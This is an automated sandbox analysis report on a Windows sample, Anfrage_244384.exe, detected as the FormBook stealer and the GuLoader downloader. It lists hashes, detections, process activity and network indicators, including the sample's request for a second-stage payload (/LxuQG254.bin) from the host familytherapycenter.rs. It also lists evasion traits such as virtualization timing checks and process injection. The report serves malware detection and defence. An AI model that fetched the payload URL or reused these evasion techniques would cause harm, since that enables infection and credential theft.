Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
Anfrage_244384.exe

Overview

General Information

Sample name:Anfrage_244384.exe
Analysis ID:1552316
MD5:b03f23199ae987a7bce0ff1a0d742e3e
SHA1:f454c8de72926ee9f98db7056fa89f0c3ada9666
SHA256:eda014e3b658bfbbfd141c1459a3414d9ee8b7c139a3976fe732141fa9cf3f80
Infos:

Detection

FormBook, GuLoader
Score:84
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus / Scanner detection for submitted sample
Found detection on Joe Sandbox Cloud Basic
Multi AV Scanner detection for submitted file
Yara detected FormBook
Yara detected GuLoader
AI detected suspicious sample
Switches to a custom stack to bypass stack traces
Tries to detect virtualization through RDTSC time measurements
Abnormal high CPU Usage
Contains functionality for execution timing, often used to detect debuggers
Contains functionality for read data from the clipboard
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to dynamically determine API calls
Contains functionality to read the PEB
Contains functionality to shutdown / reboot the system
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Detected potential crypto function
Drops PE files
Found dropped PE file which has not been started or loaded
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
IP address seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
PE / OLE file has an invalid certificate
Sample file is different than original file name gathered from version info
Suricata IDS alerts with low severity for network traffic
Uses 32bit PE files
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

  • System is w10x64
  • Anfrage_244384.exe (PID: 3456 cmdline: "C:\Users\user\Desktop\Anfrage_244384.exe" MD5: B03F23199AE987A7BCE0FF1A0D742E3E)
    • Anfrage_244384.exe (PID: 5224 cmdline: "C:\Users\user\Desktop\Anfrage_244384.exe" MD5: B03F23199AE987A7BCE0FF1A0D742E3E)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
Formbook, FormboFormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.
  • SWEED
  • Cobalt
https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook
NameDescriptionAttributionBlogpost URLsLink
CloudEyE, GuLoaderCloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Malware Configuration

⊘No configs have been found

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000005.00000002.2738186207.00000000342E0000.00000004.00001000.00020000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
    00000000.00000002.1980580817.00000000048C3000.00000040.00001000.00020000.00000000.sdmpJoeSecurity_GuLoader_2Yara detected GuLoaderJoe Security

      Sigma Signatures

      ⊘No Sigma rule has matched

      Suricata Signatures

      TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
      2024-11-08T16:06:14.313349+010020229301A Network Trojan was detected172.202.163.200443192.168.2.849705TCP
      2024-11-08T16:06:43.052071+010020229301A Network Trojan was detected172.202.163.200443192.168.2.850283TCP
      TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
      2024-11-08T16:06:57.045201+010028032702Potentially Bad Traffic192.168.2.850284188.40.95.144443TCP

      Joe Sandbox Signatures

      Click to jump to signature section

      Show All Signature Results

      AV Detection

      barindex
      Antivirus / Scanner detection for submitted sample
      Source: Anfrage_244384.exeAvira: detected
      Multi AV Scanner detection for submitted file
      Source: Anfrage_244384.exeReversingLabs: Detection: 15%
      Yara detected FormBook
      Source: Yara matchFile source: 00000005.00000002.2738186207.00000000342E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
      AI detected suspicious sample
      Source: Submited SampleIntegrated Neural Analysis Model: Matched 100.0% probability
      Source: Anfrage_244384.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
      Source: unknownHTTPS traffic detected: 188.40.95.144:443 -> 192.168.2.8:50284 version: TLS 1.2
      Source: Anfrage_244384.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
      Source: Binary string: mshtml.pdb source: Anfrage_244384.exe, 00000005.00000001.1973135397.0000000000649000.00000020.00000001.01000000.00000007.sdmp
      Source: Binary string: wntdll.pdbUGP source: Anfrage_244384.exe, 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmp, Anfrage_244384.exe, 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Anfrage_244384.exe, 00000005.00000003.2364363349.00000000342E1000.00000004.00000020.00020000.00000000.sdmp, Anfrage_244384.exe, 00000005.00000003.2366829406.0000000034490000.00000004.00000020.00020000.00000000.sdmp
      Source: Binary string: wntdll.pdb source: Anfrage_244384.exe, Anfrage_244384.exe, 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmp, Anfrage_244384.exe, 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Anfrage_244384.exe, 00000005.00000003.2364363349.00000000342E1000.00000004.00000020.00020000.00000000.sdmp, Anfrage_244384.exe, 00000005.00000003.2366829406.0000000034490000.00000004.00000020.00020000.00000000.sdmp
      Source: Binary string: mshtml.pdbUGP source: Anfrage_244384.exe, 00000005.00000001.1973135397.0000000000649000.00000020.00000001.01000000.00000007.sdmp
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 0_2_00405665 GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose,0_2_00405665
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 0_2_0040270B FindFirstFileA,0_2_0040270B
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 0_2_004060C7 FindFirstFileA,FindClose,0_2_004060C7
      Source: Joe Sandbox ViewIP Address: 188.40.95.144 188.40.95.144
      Source: Joe Sandbox ViewJA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19
      Source: Network trafficSuricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:50284 -> 188.40.95.144:443
      Source: Network trafficSuricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 172.202.163.200:443 -> 192.168.2.8:49705
      Source: Network trafficSuricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 172.202.163.200:443 -> 192.168.2.8:50283
      Source: global trafficHTTP traffic detected: GET /LxuQG254.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: familytherapycenter.rsCache-Control: no-cache
      Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
      Source: global trafficHTTP traffic detected: GET /LxuQG254.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: familytherapycenter.rsCache-Control: no-cache
      Source: global trafficDNS traffic detected: DNS query: familytherapycenter.rs
      Source: Anfrage_244384.exeString found in binary or memory: http://crl.apple.com/root.crl0
      Source: Anfrage_244384.exeString found in binary or memory: http://crl.apple.com/timestamp.crl0
      Source: Anfrage_244384.exeString found in binary or memory: http://nsis.sf.net/NSIS_Error
      Source: Anfrage_244384.exeString found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
      Source: Anfrage_244384.exeString found in binary or memory: http://www.apple.com/appleca0
      Source: Anfrage_244384.exe, 00000005.00000001.1973135397.0000000000649000.00000020.00000001.01000000.00000007.sdmpString found in binary or memory: http://www.ftp.ftp://ftp.gopher.
      Source: Anfrage_244384.exe, 00000005.00000001.1973135397.00000000005F2000.00000020.00000001.01000000.00000007.sdmpString found in binary or memory: http://www.w3c.org/TR/1999/REC-html401-19991224/frameset.dtd
      Source: Anfrage_244384.exe, 00000005.00000001.1973135397.00000000005F2000.00000020.00000001.01000000.00000007.sdmpString found in binary or memory: http://www.w3c.org/TR/1999/REC-html401-19991224/loose.dtd
      Source: Anfrage_244384.exe, 00000005.00000002.2710632001.00000000045C4000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://familytherapycenter.rs/
      Source: Anfrage_244384.exe, 00000005.00000002.2710942583.00000000046B0000.00000004.00001000.00020000.00000000.sdmp, Anfrage_244384.exe, 00000005.00000002.2710632001.00000000045C4000.00000004.00000020.00020000.00000000.sdmp, Anfrage_244384.exe, 00000005.00000002.2710632001.0000000004588000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://familytherapycenter.rs/LxuQG254.bin
      Source: Anfrage_244384.exe, 00000005.00000002.2710632001.00000000045C4000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://familytherapycenter.rs/LxuQG254.bina
      Source: Anfrage_244384.exe, 00000005.00000002.2710632001.0000000004588000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://familytherapycenter.rs/LxuQG254.binv
      Source: Anfrage_244384.exe, 00000005.00000001.1973135397.0000000000649000.00000020.00000001.01000000.00000007.sdmpString found in binary or memory: https://inference.location.live.net/inferenceservice/v21/Pox/GetLocationUsingFingerprinte1e71f6b-214
      Source: Anfrage_244384.exeString found in binary or memory: https://www.apple.com/appleca/0
      Source: unknownNetwork traffic detected: HTTP traffic on port 50284 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50284
      Source: unknownHTTPS traffic detected: 188.40.95.144:443 -> 192.168.2.8:50284 version: TLS 1.2
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 0_2_0040511A GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,ShowWindow,ShowWindow,GetDlgItem,SendMessageA,SendMessageA,SendMessageA,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageA,CreatePopupMenu,AppendMenuA,GetWindowRect,TrackPopupMenu,SendMessageA,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageA,GlobalUnlock,SetClipboardData,CloseClipboard,0_2_0040511A

      E-Banking Fraud

      barindex
      Yara detected FormBook
      Source: Yara matchFile source: 00000005.00000002.2738186207.00000000342E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

      System Summary

      barindex
      Found detection on Joe Sandbox Cloud Basic
      Source: Anfrage_244384.exeJoe Sandbox Cloud Basic: Detection: malicious Score: 100 Threat Name: FormBook, GuLoader Analyzer: w10x64Perma Link
      Source: C:\Users\user\Desktop\Anfrage_244384.exeProcess Stats: CPU usage > 49%
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346B35C0 NtCreateMutant,LdrInitializeThunk,5_2_346B35C0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346B2DF0 NtQuerySystemInformation,LdrInitializeThunk,5_2_346B2DF0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346B3010 NtOpenDirectoryObject,5_2_346B3010
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346B3090 NtSetValueKey,5_2_346B3090
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346B3D70 NtOpenThread,5_2_346B3D70
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346B3D10 NtOpenProcessToken,5_2_346B3D10
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346B39B0 NtGetContextThread,5_2_346B39B0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346B4650 NtSuspendThread,5_2_346B4650
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346B4340 NtSetContextThread,5_2_346B4340
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346B2C60 NtCreateKey,5_2_346B2C60
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346B2C70 NtFreeVirtualMemory,5_2_346B2C70
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346B2C00 NtQueryInformationProcess,5_2_346B2C00
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346B2CF0 NtOpenProcess,5_2_346B2CF0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346B2CC0 NtQueryVirtualMemory,5_2_346B2CC0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346B2CA0 NtQueryInformationToken,5_2_346B2CA0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346B2D30 NtUnmapViewOfSection,5_2_346B2D30
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346B2D00 NtSetInformationFile,5_2_346B2D00
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346B2D10 NtMapViewOfSection,5_2_346B2D10
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346B2DD0 NtDelayExecution,5_2_346B2DD0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346B2DB0 NtEnumerateKey,5_2_346B2DB0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346B2E30 NtWriteVirtualMemory,5_2_346B2E30
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346B2EE0 NtQueueApcThread,5_2_346B2EE0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346B2EA0 NtAdjustPrivilegesToken,5_2_346B2EA0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346B2E80 NtReadVirtualMemory,5_2_346B2E80
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346B2F60 NtCreateProcessEx,5_2_346B2F60
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346B2F30 NtCreateSection,5_2_346B2F30
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346B2FE0 NtCreateFile,5_2_346B2FE0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346B2FA0 NtQuerySection,5_2_346B2FA0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346B2FB0 NtResumeThread,5_2_346B2FB0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346B2F90 NtProtectVirtualMemory,5_2_346B2F90
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346B2AF0 NtWriteFile,5_2_346B2AF0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346B2AD0 NtReadFile,5_2_346B2AD0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346B2AB0 NtWaitForSingleObject,5_2_346B2AB0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346B2B60 NtClose,5_2_346B2B60
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346B2BE0 NtQueryValueKey,5_2_346B2BE0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346B2BF0 NtAllocateVirtualMemory,5_2_346B2BF0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346B2BA0 NtEnumerateValueKey,5_2_346B2BA0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346B2B80 NtQueryInformationFile,5_2_346B2B80
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 0_2_004031A3 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,GetModuleHandleA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,0_2_004031A3
      Source: C:\Users\user\Desktop\Anfrage_244384.exeFile created: C:\Windows\resources\soenderbro.iniJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 0_2_004049590_2_00404959
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 0_2_0040655F0_2_0040655F
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 0_2_00406D360_2_00406D36
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346714605_2_34671460
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3473F43F5_2_3473F43F
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_347375715_2_34737571
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3471D5B05_2_3471D5B0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_347316CC5_2_347316CC
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3473F7B05_2_3473F7B0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3473F0E05_2_3473F0E0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_347370E95_2_347370E9
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346870C05_2_346870C0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3472F0CC5_2_3472F0CC
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346B516C5_2_346B516C
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3466F1725_2_3466F172
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3474B16B5_2_3474B16B
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3468B1B05_2_3468B1B0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_347212ED5_2_347212ED
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3469B2C05_2_3469B2C0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346852A05_2_346852A0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3466D34C5_2_3466D34C
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3473132D5_2_3473132D
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346C739A5_2_346C739A
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346F9C325_2_346F9C32
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3473FCF25_2_3473FCF2
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34737D735_2_34737D73
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34683D405_2_34683D40
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34731D5A5_2_34731D5A
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3469FDC05_2_3469FDC0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34689EB05_2_34689EB0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3473FF095_2_3473FF09
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3473FFB15_2_3473FFB1
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34681F925_2_34681F92
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346ED8005_2_346ED800
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346838E05_2_346838E0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346899505_2_34689950
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3469B9505_2_3469B950
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_347159105_2_34715910
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346F3A6C5_2_346F3A6C
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34737A465_2_34737A46
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3473FA495_2_3473FA49
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3472DAC65_2_3472DAC6
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346C5AA05_2_346C5AA0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34721AA35_2_34721AA3
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3471DAAC5_2_3471DAAC
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3473FB765_2_3473FB76
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346BDBF95_2_346BDBF9
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346F5BF05_2_346F5BF0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3469FB805_2_3469FB80
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_347324465_2_34732446
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_347244205_2_34724420
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3472E4F65_2_3472E4F6
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346805355_2_34680535
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_347405915_2_34740591
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3469C6E05_2_3469C6E0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346807705_2_34680770
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346A47505_2_346A4750
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3467C7C05_2_3467C7C0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_347120005_2_34712000
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_347081585_2_34708158
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346701005_2_34670100
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3471A1185_2_3471A118
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_347381CC5_2_347381CC
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_347401AA5_2_347401AA
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_347202745_2_34720274
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_347002C05_2_347002C0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3473A3525_2_3473A352
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_347403E65_2_347403E6
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3468E3F05_2_3468E3F0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34680C005_2_34680C00
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34670CF25_2_34670CF2
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34720CB55_2_34720CB5
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3468AD005_2_3468AD00
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3471CD1F5_2_3471CD1F
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3467ADE05_2_3467ADE0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34698DBF5_2_34698DBF
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34680E595_2_34680E59
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3473EE265_2_3473EE26
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3473EEDB5_2_3473EEDB
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3473CE935_2_3473CE93
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34692E905_2_34692E90
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346F4F405_2_346F4F40
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34722F305_2_34722F30
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346C2F285_2_346C2F28
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346A0F305_2_346A0F30
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3468CFE05_2_3468CFE0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34672FC85_2_34672FC8
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346FEFA05_2_346FEFA0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3468A8405_2_3468A840
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346828405_2_34682840
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346AE8F05_2_346AE8F0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346668B85_2_346668B8
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346969625_2_34696962
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346829A05_2_346829A0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3474A9A65_2_3474A9A6
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3467EA805_2_3467EA80
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3473AB405_2_3473AB40
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34736BD75_2_34736BD7
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: String function: 346EEA12 appears 81 times
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: String function: 3466B970 appears 280 times
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: String function: 346C7E54 appears 102 times
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: String function: 346B5130 appears 58 times
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: String function: 346FF290 appears 103 times
      Source: Anfrage_244384.exeStatic PE information: invalid certificate
      Source: Anfrage_244384.exe, 00000005.00000003.2364363349.0000000034404000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenamentdll.dllj% vs Anfrage_244384.exe
      Source: Anfrage_244384.exe, 00000005.00000003.2366829406.00000000345BD000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenamentdll.dllj% vs Anfrage_244384.exe
      Source: Anfrage_244384.exe, 00000005.00000002.2738210193.000000003476D000.00000040.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenamentdll.dllj% vs Anfrage_244384.exe
      Source: Anfrage_244384.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
      Source: classification engineClassification label: mal84.troj.evad.winEXE@3/10@1/1
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 0_2_004031A3 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,GetModuleHandleA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,0_2_004031A3
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 0_2_004043E6 GetDlgItem,SetWindowTextA,SHBrowseForFolderA,CoTaskMemFree,lstrcmpiA,lstrcatA,SetDlgItemTextA,GetDiskFreeSpaceA,MulDiv,SetDlgItemTextA,0_2_004043E6
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 0_2_004020CD CoCreateInstance,MultiByteToWideChar,0_2_004020CD
      Source: C:\Users\user\Desktop\Anfrage_244384.exeFile created: C:\Users\user\AppData\Roaming\secretaryshipsJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeFile created: C:\Users\user\AppData\Local\Temp\nsx530B.tmpJump to behavior
      Source: Anfrage_244384.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
      Source: C:\Users\user\Desktop\Anfrage_244384.exeFile read: C:\Users\desktop.iniJump to behavior
